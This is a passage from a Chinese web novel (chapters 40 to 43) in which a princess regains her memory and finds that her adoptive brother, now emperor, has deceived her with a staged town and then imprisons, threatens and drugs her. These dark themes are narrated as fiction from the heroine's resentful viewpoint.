沈遥摇头,“与你无关,我一直都知道,你是无辜的那个。父亲早年便与晋王有接触,就算没有你,沈家的变故也是命中注定。” 她声音轻飘飘的,“可是那天的生辰,我们一家明明这么快乐,尽是欢声笑语,为何只是过了一日,就变成了这样?那些时日,长安城中,该斗鸡的人还在斗,该喝酒的也都在喝,为何也是仅仅几日功夫,整个大周便成了地狱?” 沈遥看着女人声音愈发微弱,她蹙眉攥紧拳头想要上前,被他一把拉住,“阿姐!” 她转头犹豫的瞬间,那男子已经带着女人离开了难民营,不知去了何处,地上留下了他们那没气息的孩子,尚在襁褓之中。 沈遥坐了回来,嗓子眼憋了一股气,“我没救她。” 他拉着她的手腕,声音稚嫩,却带着不符合他年龄的成熟,道:“阿姐,都是那个女人的选择,她杀了自己孩子,她受不了,不想活下去了。” 几个难民已经开始分食那死去的稚子,场面血腥可怖,他起身捂住她的眼睛。 “阿姐,这个世道就是这样,人性本恶,人间即地狱。” “有人恐惧失去 ,有人恐惧死亡。无论上位者也好,走狗蝼蚁也罢,不过都是被恐惧所驱使的奴隶罢了,所有人,都在苟延残喘。包括那个女人。” “而压制恐惧的武器,是自私。所谓善良与正义,只会惹来血雨腥风。” 许久后,他放下他的手,她的眼睛在发红,睫毛被打湿。 往远处望去,那具婴儿的尸体已不复存在,只剩下没有生气的一群蝼蚁,或坐,或躺,或爬。 “小衍,我是不是很没用,我明明答应过娘,可却还是弄丢了小妹。还有小白也丢了,你说它会不会已经……我真的好没用。” 时衍依然坐在她的身边,握紧了她的手,“可若没有阿姐,我早就死了。” “阿姐,我会尽快长大。” “我会为沈家复仇,将小妹和小白找回,为你创造一个,只有善良与正义的桃花源,我会保护你的那份单纯。” 沈遥看着他黑乎乎的脸,男孩儿年纪小,却有了凌厉的模样,长大后的他定然俊美,他瞳孔中倒映着她的模样,同样灰头土脸,好不到哪儿去。 那时的她,并未将他的话当真,只当他在哄她。 “你应该是姓宋,是吗?”她压低了嗓音。 他沉吟不语,最后轻轻点了下头。 “臭弟弟,没想到你话还挺多。” 沈遥嘿然一笑,扭开头,躲着难民们,将他悄悄塞过来的那个馒头慢慢吃下。 须弥芥子,浮生初醒。 她的阿弟果真做到了。 七年后的他,恢复“宋”姓,借助姨丈河西节度使的力量,招兵买马,从甘州一路杀回长安,登上帝位,又杀尽了当初涉及沈家谋逆案件的所有人。 他用最短的世间,以长安城的各大氏族为祭品,压制了大周所有蠢蠢欲动的人心,创造了和平。 他敕封她为永乐长公主,甚至建造了那个名为“葫芦镇”的桃花源。 那个虚假的桃花源,如镜花水月,黄粱一梦。 该醒了。【魔蝎小说 mo xie xs .c om】 40-50 第41章 第41章阿弟,玩够了吗? 沈遥醒来时头疼欲裂,环顾四周,她正躺在熟悉的拔步床上。 回到葫芦镇了。 正是黄昏之时,窗外的夕阳将大簇树影落至白纸窗上,寒风吹过,哗哗摇晃起来,将整个本就安静的时府衬得更加孤寂。 “嘘,别吵你娘。” 声音从床侧传来,被高大宽敞的拔步床挡住身影,沈遥偏头过去,定睛一看,是宋衍。 男人蹲在地上,小橘顽劣地拉扯着他腰间玉佩下的流苏,发出咕噜声响。 他温柔又无奈地将猫儿一把捞起,钳制到自己怀中,轻轻揉了揉它的脑袋,转身时忽然对上沈遥的视线,这才注意到她已经醒了。 宋衍沉默片刻后,起身上前,坐到沈遥身侧,见她想坐起,立刻有眼色地扶她一把。 “喝水吗?” 沈遥食指摁着太阳穴,点点头,目光淡淡落在他被黄光渲染得极为柔和的脸上,闻着他身上那股带着青草的冷香。 宋衍起身为她倒上一杯水,又回到床上,将杯盏送到她唇边,看着她小口将其饮下。 “可还有何不适?我去叫郎中。” 听着他一如既往,如沐春风的语气,沈遥扯了下他的袖子,摇头表示自己身子无碍。 宋衍将杯盏放至一旁,垂眸躲避着视线,不知在想什么。 半晌后,他终于开口道:“没事就好。你不知,那宁梓谦可恶至极,说是帮我来救你,没想到竟诓骗我,将你掳了去。这样的采花大盗果然不可信,嘴里可是没一句真话。” 沈遥:“……” 宋衍:“还有那秦木,曾经也是犯事被逐出书院,定会说一堆不知所云的话来污蔑为夫,诺诺单纯,千万不要被骗了。” 沈遥静静听着他牵强的解释,倏然笑出了声。 宋衍沉默。 沈遥停下笑意,平静地看着他说:“阿弟,玩够了吗?” 一声猫叫忽然从身侧传来,不知受了何惊吓,几步蹦跶上柜子,带翻了一只白瓷花瓶后逃出窗外。 那花瓶“砰”一声在地上碎裂,宋衍心脏也随之停止了跳动。 过往偷来的时光结束了。 他手尖止不住颤抖,呼吸骤停,抱着最后一丝侥幸,问她:“是宁梓谦,还是秦木,与你说了什么?” 沈遥见他脸皮比城墙还厚,着实无语。 “不是他们,是我想起来了。” 宋衍低下头:“……” 沈遥不可置信道:“阿弟,我是真没想到啊,你能耐不小,竟然搞出这么一个葫芦镇来诓骗我。” “当初迎亲时遇到的山匪,怕也是你的安排吧。” 宋衍:“……” 沈遥气笑了,“你当初就没想过,轿子滚下山崖,我可能会死吗?” 宋衍猛地抬头,朝她解释:“滚下山崖是意外,失忆也是意外,我从没想要伤害你。我当时只是不想你嫁给那厮而已。” “若是你有任何差池,我绝不独活。” 沈遥:“……你觉得我稀罕你陪我去死?” 她看着他逐渐变得阴郁的眼神,也没了再与他周旋的耐心,直接掀开被褥。 宋衍见状着急起来,“你要去哪儿?” 沈遥自觉与疯子说不通,直接告诉他,“我去哪儿关你何事?你凭什么觉得我还会留在这儿?” 说着,沈遥将腿垂下床,准备换鞋离开,却没想到宋衍直接夺过她那双鞋履,猛然往房间角落扔去,掉在她够不到的地方。 “你干嘛!”沈遥大怒。 宋衍蹲下,手摁在她膝盖上,挡在她身前,“诺诺,我是你丈夫。” “你还敢叫我诺诺!你恶不恶心!你是不是以为我们有过肌肤之亲,就是我丈夫了?你知道的,我与别的闺阁女子不同。” 她眯眼道:“你不是我丈夫,你只是我阿弟。” 宋衍沉默下来,呼吸粗重而急促,本就漆黑的瞳孔无限加深,没了一点光芒。 她直接戳破了他卑劣的行径,将他那副温柔的面具暴力撕开,随意弃之泥潭。而他面具下那张丑陋的,连自己都不愿去看的面孔,被她看了个精光。 他微微垂直脑袋,手指在打颤,手心发出的汗浸湿她膝盖上的裙。 他似乎有些不敢接受她口中说出来的事实,抬眸,猩红的双眼在她脸颊上来回巡视,口气带着病态,“阿姐,别气了。” 沈遥觉得他简直是个笑话,连带着她也成了笑话。 这种事情,简单用生气来概括,更是笑话。 她厌恶极了被蒙在鼓里的感受,面前的人是她带大的阿弟,她以为心地纯良的阿弟。 可他却不顾她死活,假扮山匪劫了亲,还害她落崖受伤。 从她醒来后,他便不断用言语诓骗控制她,试图让她以为自己得了疯病。 这种感觉,就好像被人用被褥捂住了口鼻,叫她难以呼吸,直到浑身发颤,两眼翻白,失去意识之时,才放开送入一些空气,紧接而来的却是另一波窒息。 沈遥受够了,直接伸手试图将他推开,可他却死活不动弹。 “够了宋衍!你起开!” 宋衍不解地与她平视,“阿姐,你真要走?” 沈遥讽笑,一言不发。 她试图起身时,宋衍双手摁住她肩膀,直接往床上一压,分开她双腿,膝盖抵了上来,由上至下俯视,鼻尖又贴近她脸,热浪般的气息翻涌而出。 可他的声音依旧如往日般轻柔低沉,“阿姐,郎中说了,你身上的伤还没养好,你先养伤,之后的事,之后说。” 沈遥初醒,力气尚未恢复。 她心跳得格外慌乱,使劲儿抵着他压下来的肩膀和身躯,第一次感受到了八尺男儿的力量。 她死死盯着他诡异的面庞和病态的神情,咬牙道:“宋衍,宁梓谦是我丈夫。而你,从今日起,我要与你断绝所有关系。” 宋衍淡淡摇头,“就算我们未成婚过,你们也尚未完婚。” 沈遥:“宋衍,你已经疯了。” 宋衍无 所谓笑了一下,抬起一只手,用手背轻轻抚过她发际,额头,眉眼,鼻尖,嘴唇。 他很小便知道自己不正常,只是在阿姐面前掩饰到了如今而已。 他看出她身子无力,低下头与她耳鬓厮磨,在沈遥挣扎许久,最后无力之时,落下一个吻在她唇畔。 “阿姐,先好好养身子,就现在这样,你走不了多远。顺便也冷静冷静。” 说完,他起身将她放开,看着依旧躺在床上的沈遥,伸手为她掖了掖被子裹好,而后起身离去,内室的门“吱呀”一声被合上,同时挡住了屋外黄昏的光。 沈遥面色苍白,躺在原地喘了许久,才堪堪恢复些许体力。 宋衍唯一说对的一句话,是她需要修养,否则怕是连这家门都出不了几步。 她将手抬起,手臂挡住眼睛,咬着唇,像是跟什么叫劲儿一般,憋着不愿流下一滴眼泪。 不知过了多久,屋子已经彻底暗淡下来,没了丝毫光线。 房门被打开,屋内的烛火被火折子纷纷点亮。 是锦书。 她手上端着药来到床边,将药放在小几之上,看着沈遥小心翼翼道:“夫人,该喝药了,这药凉了可不好。” 空气沉默而凝滞,只能听到淡淡的呼吸声和不远处的刻漏声。 “夫人……” “你还敢叫我夫人。”沈遥出声打断,将手臂慢慢放下,平静一会儿后撑着身子坐起,扭头淡淡看向锦书。 锦书心底一紧,忙不迭跪在地上,“殿、殿下恕罪!奴婢、奴婢只是……” “你只是帮着宋衍诓骗我而已。”沈遥替她回答。 锦书猛地摇头又叩首,“殿下,奴婢身份卑微,怎能反抗皇权。” 沈遥“嗯”了一声,不想看她,心里烦得慌。 锦书咬着舌尖,心惊胆战地替宋衍说好话,“陛下只是太在乎殿下,才会这样做。这些时日以来,陛下如何待殿下的,奴婢都看在眼中。” “够了。”沈遥不想听这些话,转而问她,“你出处为何?” 锦书自然不是她的陪嫁,曾经从未见过这丫头。 锦书恭敬回道:“奴婢乃太原府出身,陛下登基那年入宫,一直侍奉先太后。后来被胡生公公看中,调来太极殿,再甄选过数个宫女后,陛下看中奴婢机灵,便送来殿下身边伺候。” “你倒确实机灵。”沈遥觉得有些好笑,“谎话可以说的脸不红,心不跳,天衣无缝。确实前途无量。” 锦书咬唇,看着上座的沈遥说不出话。 “把药拿来。”沈遥决定暂时放过她,先将身子养好,养好后,才能直接离开这个可笑的戏园子。 沈遥这一次的伤不算严重,主要都是头部外伤,其余只要正常吃喝,很快便能恢复精力。 倒是宋衍从这日后似乎又消失了一般,再也没出现过她面前。 沈遥原本想等他回来说道,却没想到他一如既往地做出了逃遁之举。 也不是第一次了。 既然如此,她也不愿再等下去。 待感受到身体完全恢复后,沈遥便开始收拾起包袱行李。锦书端着膳食入内后撞见,吓的手中瓷碗直接掉落在地,彻底碎裂。 “殿下!你、你这是、这是要去哪儿?” 沈遥将收好的行李往背上一背,又从旁拾平日练功用的木剑,直接往门口走去,锦书眼疾手快上前挡住,双手撑在门框上,吓得耳尖发红。 “殿下!陛下说过,叫你好好留在此地养伤。” 沈遥:“我已经好了。” 锦书:“可是殿下……” “锦书。”沈遥打断她的话语,神情淡淡,没有起伏,“在我醒来后的日子里,我一直都很信任你。” 锦书:“殿下……” 沈遥:“我从没将你作下人对待,在这里的这些时日,我一直困在葫芦镇,没有与外人的交集,没有朋友。曾经我甚至以为,你是我唯一的朋友。” “我知皇命大于天,你无可抗拒,我不怪你。只是,你现在非要拦我吗?” “殿下……”锦书眼眶忽然红了起来,她低着头无法反驳一句,最后悻悻将手从门框放下,没再阻拦。 沈遥不再多看她,直接迈步往门外走去。 只是令她没想到的是,整个时府竟被重兵围得水泄不通,连只苍蝇都飞不出去。而时府大门也上了锁,侍卫守在门前。 沈遥简直气死了。 好家伙,宋衍这疯子竟然囚禁了她! 第42章 第42章囚禁 两个侍卫大咧咧站在门口,提刀挡在门前,“陛下下令,任何人无许可,皆不可随意出入,包括殿下。” 沈遥闭了下眼,手握着木剑转身放弃,准备回内院。 侍卫见状松了口气,正将手中长刀放下时,沈遥提起木剑,旋身直接朝着他们劈头盖脸,一套剑法击打上去。 她偷袭得正巧,两看门侍卫被木剑打倒在地,疼得捂着手臂左右翻腾,呲牙咧嘴,脸面朝地上啃了一嘴烂泥。 沈遥毫不犹豫上前,直接从其中一人腰间抽走钥匙,直往大门而去,将门上铁锁打开。 侍卫半眯着眼大惊失色,大声吼道:“陛下有令!任何人不得随意出入!” 沈遥才不理他,只是没想到,侍卫话音一落,隐藏在四处的暗卫竟蓦地现身,一窝蜂朝着她涌了上来。 “莫要挡我,否则休怪我伤人!” 沈遥蹙眉转头,双眼凌厉,不得已只能捡起侍卫掉在地上的长刀,开始与暗卫们搏斗起来。 “殿下恕罪!” “噌——” 暗卫用刀背朝她砍来,她举刀一挡,虽无伤害,却也是被巨大的力量所震了胳膊。 她调整呼吸,一吐一吸,平静下心跳后,手腕一旋,再次提刀冲上去。 她平日多练剑法,刀法尚未接触过,用起来有些吃力,可暗卫们虽阻止她,却并不敢真将人伤了,即便人多,双方好一会儿也是不相上下。 “殿下!陛下下令,任何人不得随意出入!特别是殿下!” “滚!给我让开!” “砰——” 沈遥咬牙,一刀砍飞了其中一暗卫手上的刀,那把刀在空中旋转好一会儿,最终掉落插在墙角的泥地中。 而这千钧一发之际,暗卫间的列阵也被撕破一条口子。 她以为自己要突破了,迅速往前冲去,用刀背左右砍翻两个不知如何进攻的暗卫。 门外一束阳光自上而下洒过,有马车经过,发出碾压青石板的声响,有树叶飞落,还有稚子与小狗的欢声笑语。 快了! 快了! 就要出去了!!! 在沈遥接近门槛之时,没想到因一时不察,后脖颈一疼,竟得了他人偷袭,直接两眼一黑,晕了过去。 在闭眼前,她看到原本已经打开了的门,又再度合上,缝隙变小,最后再也看不到外面景象。 …… 沈遥再度在拔步床上醒来时,已是黑夜,屋内灯火葳蕤。 她感到头昏脑涨,仔细回想,是暗卫将她给劈晕了。 软绵绵的爪子在被褥上踩过,她意识到是小橘,闭眼伸出手轻轻抚摸了一阵它的软毛。 睁开眼睛,映入眼帘的是拔步床白花花的帏帐,空气中浮动着淡淡的清香。 又回来了。 沈遥撑着身子慢慢坐起,正缓神之时,身旁传来熟悉而低沉的声音,“醒了?” 她身子一震,侧脸看去,果然又是宋衍这卑鄙小人。 沈遥眯眼,看着他面带如沐春风的笑意,仿佛什么都未发生过似的,差点儿叫她以为自己在做梦。 “我还以为你准备逃一辈子,再也不出现在我面前。” 宋衍轻轻摇头,“不会。” 况且,这些夜晚,他还是一如既往陪着她,凝视她,只是她不知道而已。 “我只是想你冷静下来。” 沈遥无语到极点,明明该冷静的人是他才对。 “宋衍,你将我困在此处到底想 做什么?你觉得很好玩?” 宋衍从床上抓过正舔毛的猫儿,轻轻抚摸着它的脊背,反问:“阿姐,那我问你,若放你离开,你会去哪儿?” 沈遥心底担忧着宁梓谦,便也大大方方直接与他说了,“自然是去宁家,找宁梓谦。” “你看。”宋衍扯嘴笑笑,眸光带刺,充了血,“所以我才无法放你离开,找完宁梓谦呢?是不是去甘州,找梁国公,而后不再回长安了?” 沈遥抿唇,没想到他竟如此敏锐便察觉她真实意图。 说实话,如今到了这等地步,她也着实不好再嫁给宁梓谦,可她也不愿再留在长安。此处天子脚下,与葫芦镇并无多大区别。 “阿姐,你就这样一走了之,连小橘都不要了?” 沈遥视线落在宋衍手中的猫儿身上。 一无所知的猫儿,丝毫没有察觉到两人之间的剑拔弩张,还依旧一寸不少地舔毛,对完美的态度,倒是与抱着它的男人别无二致。 “自然要带它走的。” 宋衍垂眸,不知在想什么,最后眸色一深,将小橘身上舔好的毛一把撸乱。猫儿不满地叫了一声,跑到沈遥身边坐下,转了转碧绿的眼珠子,重新舔毛。 沈遥对他的举动不解。 他压下嫉妒,沉声说:“没良心的,你只要它,却抛下我。” 沈遥懒得与他掰扯,这些天下来她算是看明白了,与疯子是无道理可讲的。他们有属于自己的一套行为方式。 “宋衍,我对你太失望了。你将我困在此地有何意义,我要回我自己的家。” “这就是家啊。” “这里不是我家。” “这里是我们的家,我们的新房。” 她发觉,在这个认知上,宋衍极其固执,蛮不讲理,着实令她无力。 可她也极为坚定,“反正我要离开,我说了这里不是我家。” 宋衍低着头久久沉默不语,久到沈遥以为他中了咒。 她见他没反应,便试探性地掀开被褥,想要下床离开,却没想到,原本像是死了一般的男人骤然伸手,一把揽住她的腰往床上扔。 “啊!” 沈遥短促地轻喊一声,被他吓得心脏骤停,好在床软,她脊背磕在上面并没什么感觉,她很快爬起身,坐在床上,而宋衍一条腿蹬上,双手拢来,好像将她控制在了怀中一般。 他的声音带着沉重的压抑,滚烫的呼吸喷薄到脸上,“离开?沈遥!你就非得找那废物?” 他实在不明白,宁梓谦就是个彻头彻尾的废物,脑子不灵光,除了东躲西藏抓不到尾巴,功夫实际也没多好,不会做生意,只会啃老,妥妥一个纨绔子弟,哪里值得沈遥嫁过去! 沈遥吞咽一番口水,盯着他漆黑的眸子。 她就是不愿服输,“是啊,我和他差点儿就成亲了。我不找他,难不成真留在你这个骗子身边?” 宋衍“呵”得讽笑了一声,怒道:“那厮何曾真正在乎过你半分?他根本配不上你!” 沈遥整理着混乱的呼吸,恨恨道:“我喜欢他。” 宋衍的眼神结了冰。 “宋衍,我喜欢他。” 沈遥气急,大恨,继续刻意刺激着他,说:“几年前,很早时,我便应该成亲的。我都是为了谁的帝业,硬生生拖到二十的年岁?你不是最清楚的么?如今我好不容易觅得良人,你却夺我婚事。他配不上我,难道你配?” 宋衍沉默许久后,半眯起眼睛,道:“宁梓谦在我手里,阿姐。” 沈遥难以置信地瞪着他,“你在威胁我?” “或许吧。除了宁梓谦,宁家还有上百口人。” “啪——”一个巴掌重重甩在他脸上,连带着指甲划破了他脸颊,流出一丝鲜红的血,可他头没有歪头丝毫,眼睛仍然黏死在她面颊上。 “你威胁我!宋衍!你怎么能?怎么敢?” 宋衍半晌说不出话,片刻后,他一转狠戾,变得卑微起来,“阿姐,我也不想如此的。只要你再可怜可怜我,为了我,乖乖留在我身边,不要嫁给别人,不要离开我,我就放了宁梓谦。” “……” 沈遥的话被他瞬间堵在嗓子眼处,“宋衍,你是皇帝,何需我来可怜。你此般戏弄于我,你凭什么觉得我还会留在你身边?” “可是阿姐,我只是太爱……” “我不爱你。”沈遥凝视着他,淡淡地将他最不想听的真相告知,“阿弟,我从来只将你当成二弟弟,仅此而已。” “宋衍,你根本不懂什么是爱。” 宋衍不知道该怎么办了。 他想反驳,想说他懂,可却找不到合理的话。 他指尖颤抖着,通红带血的左侧脸颊不受控制地轻轻抽搐,听着屋外黄昏的风,配上这光影后,像寂寥的筚篥。 沈遥见他又不说话,搞不清他脑子想的究竟是什么,想要将他推开,却被他又摁住手腕猛地压回到床上,居高临下。 小橘再一次被两人间的氛围吓得飞速弹开。 “阿姐……”他还想说些什么。 可沈遥憎恶地扭开头,已经不想听了。 没有多想,便说出了对他伤害最大的那句话:“真是够了宋衍,宋禾说你天生恶种,怪胎,果然说的没错。小小年纪就学会放火,伪装,欺骗。这么多年,你嘴里,没有一句真话。” 寒风与黑暗犹如刀枪剑戟,不断刺痛着宋衍的心。 她厌恨的语气像带着倒刺的匕首,捅穿他前胸,将心脏搅碎,一块一块,不成样子地往外钩出。 那种疼痛不是一次性的,而是持续的,长久的,每钩一次,就又加重一分。 果然,她不要他了,她怨恨他的欺骗,看透了他的肮脏,对他恶心到想吐。 从记事起,他就在假扮一个乖小孩,不断压抑着他心底的叛逆,这么多年过去了,他演了这么多年,却始终没能得到他想要的。不论是父亲,嫡母,还是兄长,都将他弃之敝履,如今连阿姐都要离开他。 幼时那些稀有的美好,何尝不是他隐藏了自己那颗黑心所骗来的? 他还记得那年,将夏日最后一朵梨花戴到她的头上,第一次对她说出那句,“给……阿姐。” 那是他经历过无数黑暗后,第一次真心的,鼓起最大的勇气,去追寻奢侈的一丝爱与善意。 而过去那几个月短暂的梦,都是他构建出来的虚妄,十多年,他真是装够了。 明明如今他有权有势,世上无人敢再如以前那般戏弄他,凌辱他。 他获得了守护光的能力,又何怕留不下她? 是啊。 既然一切都没希望了,那就一起沉沦吧,哪怕她恨死他,哪怕所有人说他是个疯子,他宁愿被千刀万剐,哪怕做了鬼,也不会放过她。 宋衍瞬间平静下来,眼眶通红,麻木地垂眸,许久没有说话,不知过了多久,久到沈遥心底发怵,他才淡淡轻笑一声,“阿姐说的也没错,我这个人啊,真就是个恶种,是个白眼狼,挺垃圾的。” 沈遥心狠狠跳了一下,觉得他的语气忽然变得更不正常。 宋衍抬手轻轻揉了揉她的发顶,温柔道:“但没关系,未来还是会很美好,阿姐,会一直在朕身边。” 沈遥咬牙,打开他的手。 宋衍不在意地笑笑,抬起左手,摸了一把脸上被抓出来的血痕。 他盯着沈遥许久,久到她汗毛直立,倏然,他一把抓住她的下颌,带着暴力吻了上来。 不同于以往,他直接勾起拇指,强行撬开她牙关,紧接着塞入自己的舌。 猛烈如雷暴前将周遭空气吸入天际的那团乌云,卷着她的一切,疯狂的,不顾一切的吸食她的唾液,想要她将整个人吞入腹中,与自己的骨血融为一体。 沈遥奋力挣扎,一口狠狠咬上他的舌,直到满口血腥与铁锈味,他才稍微退开些许,舔了下唇边留下的血迹。 “宋衍!你疯了!你放开我!”沈遥惊诧于宋衍臂力。 虽然宋衍也有习武,可她亲自教授的功夫,自然最知他深浅,没想到在他面前,她竟毫无还手之力。 不对,不是他真正的力量。 倏然间,她再次注意到蔓延在空气中的一股异香,很淡,却很熟悉。 难道…… 她震惊的睁大了眼,“沉酥?” 他低低地“嗯”了一声,这次倒是没有否认。 沈遥匪夷所思大骂:“宋衍!你居然对我用沉酥!” 宋衍如今的声音反倒平静下来,“没办法,侍卫们不敢伤阿姐,朕也不允许任何人伤害阿姐。可阿姐一心离开,那只能用沉酥了。” “狗娘养的东西!卑鄙无耻!”沈遥瞪着,低声啐他。 宋衍一怔,似乎是第一次听到她骂脏话,看起来反倒与小奶猫一般,奶凶奶凶的着实可爱。 他忍不住低头一笑,“阿姐,别这么骂自己。” 沈遥:“……” 见她逐渐没了挣扎的力气,只是重重喘息着。 他起身,顺手将她捞到自己怀中,轻轻蹭着她柔嫩的脖颈,深深嗅闻她的气息。 沈遥:“离我远点儿。” 宋衍低头看她沉默,替她捋好凌乱的发丝,眼中带着猩红与病态,他低声哄她:“阿姐,不想他们死就别闹了,乖。” 沈遥气到想要打人,刚才的挣扎却耗光了气力,连手都抬不动,“从没有人敢这样强迫我,威胁我。” 宋衍却不愿放开,只说:“除了不让你离开,朕也不会强迫你。” 沈遥无语到发笑,原来在他认知里,刚才的强吻不算强迫。 不想再与他说任何话。 不与疯子论长短,宋衍就是这样的疯子。 他见她确实累得不行,小心翼翼将人放平,又扯了扯被褥给她裹好,生怕她着了凉。 “这沉酥只是让人力量变小,并不伤身。这些日子是朕疏忽了,这几日朕会留在时府,好好陪陪你。” “滚!” 沈遥放弃挣扎,闭上眼,侧过身,连看他一眼都嫌恶心。 宋衍正想说什么时,寝室房门被敲响,是南风的声音,唤了一声“陛下”。 听起来是有要事寻他。 宋衍头也没转,只直直凝视着沈遥,烛光在摇曳,忽明忽暗,霎时隐去他的双眼。 最后靠近些,让她看得清楚,微微勾唇道:“天色不早,不打扰阿姐,早些安寝。” 沈遥面无表情看着宋衍说完后起身,用手背蹭了蹭她的脸,将躲在不远处的猫儿抓回,放到沈遥身边。 和曾经一样,一举一动优雅又赏心悦目,他踱步离开房间,为她关好门。 沈遥没多久便养好精神,却还是倍感无力,她开始在屋内寻找燃了沉酥的香料。 可令她没想到的是,宋衍这厮并未直接燃香,而是将整间房间所有的帐幔,被褥,衣物,全部熏上了沉酥。 这股味道并不浓烈,却无孔不入。就连跑出房间都避无可避,她没有服用过解药,想要不受影响,除非光着身子去到院中。 卑鄙小人! 宋衍如此,好似将她当作犯人一般,看守,监视,囚禁。 …… 沈遥试图从锦书下手,想拿到解药。 锦书却吓得将手中的牛角梳一扔,立刻跪伏地上,“殿下,奴婢这里并没有多余的药,若是叫陛下知晓,奴婢就死定了。” 沈遥坐在妆奁前,将视线从铜镜处淡淡移动到卑躬屈膝的锦书身上,“你就这么怕他?” 锦书浑身一抖,不知想到什么,嘴唇都被咬破了皮,“殿下莫要问了。” “我记得第一次见你时,你好像就很怕他。” 沈遥颔首不再逼迫,并让人起来。 仔细想想,这小骗子看起来温柔和善,实则偏执得很。她不怕他,是笃定他不会真正伤害她,可她着实厌恶极了这般身不由己的感觉。 锦书颤颤巍巍上前,继续给沈遥梳头,同时努力开导:“殿下,虽然陛下骗了殿下,可到底还是因为太在乎。奴婢是陛下千挑万选出来伺候的人,自然晓得陛下对殿下那是偏心偏到天边儿去了。” 沈遥有些乏力地扫她一眼,不想跟她废话。 锦书还在絮叨着:“这葫芦镇什么都有,生活也是平淡,殿下之前不是还说过,喜欢这儿的生活么?” 沈遥:“葫芦镇?你说这个戏园?” 锦书一哽,道:“这镇子里其实也有真正生活,不知真相的。当初拖家带口一大家子搬来,都是寻着好好过日子去的……” “嗯,受了权势胁迫,也顺便赚点儿钱。”沈遥打断她。 锦书沉吟不语,许久后又与她说:“殿下不知,镇子中的医馆,教书先生,铺子商贩,都有真正做事儿的。家家户户虽在陛下掌控下行动,却也都是过寻常生活。” 沈遥没什么耐心了,“锦书,你不觉得很好笑吗?你也知晓,这镇子中所有人都在他掌控下过日子。” “我问你,之前消失的叶家姐妹究竟去了何处?还活着吗?” 锦书抿唇,低着头只轻轻说了一声自己也不知晓。 沈遥又是讽刺一笑,“行了,你下去,这里无需你伺候了。” 在她看来,即便镇子真如桃花源这般安逸,也只是一个虚假的,用权势强行制造出来的笼子。 可笑至极,无聊至极。 …… 与此同时,沈遥发觉自己无论到哪儿,身后都多了几个跟屁虫。是五大三粗的壮汉。 其中一人脸上一道疤,从额顶擦过眼皮,一路延伸至下巴。另一人一双铜铃大的眼睛,长得老实憨厚。二人身高体长,手臂肌肉结实而雄厚。 看得出,是顶尖高手。 还有一人,最初没认出来,后来总觉得面熟,仔细一看,可不就是扮成山匪那厮。 好家伙,当初她第一次跑出葫芦镇,宋衍为了哄骗她回来,竟真是叫自己的人冒充山匪来袭击她。 也是,他劫亲,建造葫芦镇,假扮她丈夫,这么离谱的事儿都做出来了,还有什么做不出来。 沈遥更加厌烦起来。 她抱着小橘去到梨花院中,找了处抄手游廊随意一坐,心底思考着如何逃跑。 想到这儿,她怎么看这三人怎么心烦,面上自是摆不出友善的表情。 “阿姐今日蛮有闲情逸致。”宋衍不知什么时候,鬼魅般从沈遥身后冒了出来。 沈遥收回思绪,不想理他。 宋衍这些时日都待在时府,不过看得出来,他政务繁忙,日理万机,每日绝大时间都待在书房中,使唤着南风进进出出。 宋衍落座到她身旁,仔细观察着她表情,“心情不好?” 沈遥瞥他一眼,“你觉得我心情会好?” “朕以为过了几日,阿姐静下来后便不会生气了。” 他看她的眼神如沐春风,“很快便是阿姐的生辰,朕已备好,届时阿姐定会欢喜。” 她的生辰宴,他早已期待很久了,为了能将他精心准备的礼物送出。 第43章 第43章诺诺,杀了朕,你就可以…… 沈遥如今对生辰宴没兴趣。 她耐心彻底耗尽,讽刺地看着宋衍,“这三人是怎么回事?他们真的很烦。” 站在后面的三护卫身子一抖,面面相觑。 宋衍眉心一凛,往后一瞧,让几人站到前面来,冷然道:“你们做什么了?惹了长公主不悦。” 护卫们立刻摇头,心底和面上都在叫委屈。 东风立刻回:“陛下,属下们只是谨遵陛下命令,跟随保护长公主殿下,并未做任何多余之事,也未与殿下说过话。” 沈遥看着宋衍的神情,好像在看一个傻子。 宋衍无所谓勾唇,朝着沈遥解释:“他们是朕的千牛卫,武功最是高强,若你不想见 到他们,我让他们隐了便是。” 沈遥被宋衍气到心疼,不想再与他说话,将头转开。 宋衍扫了一眼三人,继续平静道:“定是你们没与长公主介绍过自己,惹了人恼。” 沈遥:“……” 三人弓着腰,眼珠子一转,飞速轮着介绍起来。 沈遥这才知,上次扮作山匪的,高高瘦瘦,丹凤眼的,叫东风。另外两个,一个西风,一个北风。 他们三人同南风皆是宋衍身边最得力的四大侍卫,南风与东风做事精明能干,西风与北风则是顶尖高手。 沈遥知晓后,心沉了下去。 别说这其中三人合力,哪怕就一人,她不吸那沉酥,也照样打不过。 她心头郁闷,一直面无表情低着头,随口问了一句:“你们名字谁取的?” 恰巧从宫内回来的南风,见几人情形,想着没有要紧之事,便与另外三人站在一处。 东风率先开口道:“是陛下钦赐。” 沈遥扯了下嘴角,想到小橘的名字,也能理解他起名之随意。 “哦,有何寓意么?”她声音淡淡的,其实对他们并不感兴趣,将视线放到远处墙边窥探。顺便趁着闲聊,打探几人虚实。 南风与沈遥相熟,想到当初起名原由的误会,便笑了一声。 当初他以为,东南西北**寓意着万里河山,风亦是来无影,去无踪。结果被皇帝陛下亲自泼了一盆凉水,道他只是懒得想名字。 南风今日提前完成了任务,一身轻松,没了往日正行,插嘴道:“属下们的名字简单好记就行,怎配陛下花心思去想。” “不是。” 宋衍忽然神色淡漠地开口:“东南西北自是代表了万里河山,风亦是来无影,去无踪,此乃好寓意。” 东风:“……” 西风:“……” 北风:“……” 南风:“???” …… 整个时府忙碌了一波,为了给沈遥过生辰。 自沈遥恢复记忆后,下人换了一批又一批,如今这些人个个低着头,弓着腰,大气不敢出,眼睛不乱瞟,每日重复着相同的动作,做着相同的活计。 原本就安静的时府,此时更是鸦雀无声。 沈遥被锦书一脸喜悦地拖着坐到主位之上,提前处理完政务的宋衍很快跟来,落座她身侧,侧着脸,一直温柔盯着着她,眼睛没离开过。 他从外面叫来了一群舞姬,在宴席之中跳舞,丝竹声鸣响,被邀请而来的甚至还有些住在葫芦镇的镇民。 沈遥面无表情地扫视过众人脸上的假笑,又被身旁的男人盯得发毛,很想把桌上的吃食直接糊到他脸上。 宴会后半程,被邀而来的众人纷纷上前献生辰礼,祝福声不断,可她只能从这些人的脸上看到恭维与恐惧。 宋衍见她全程没说过一句话,只一直在浅酌小酒,问她:“阿姐生辰怎的不开心?这宴会办得不如意?” 沈遥连一个眼神都懒得给他。 宋衍蹙眉,掀起眼皮,“这群阳奉阴违的下人,让阿姐不满意了,朕定会狠狠罚他们。” 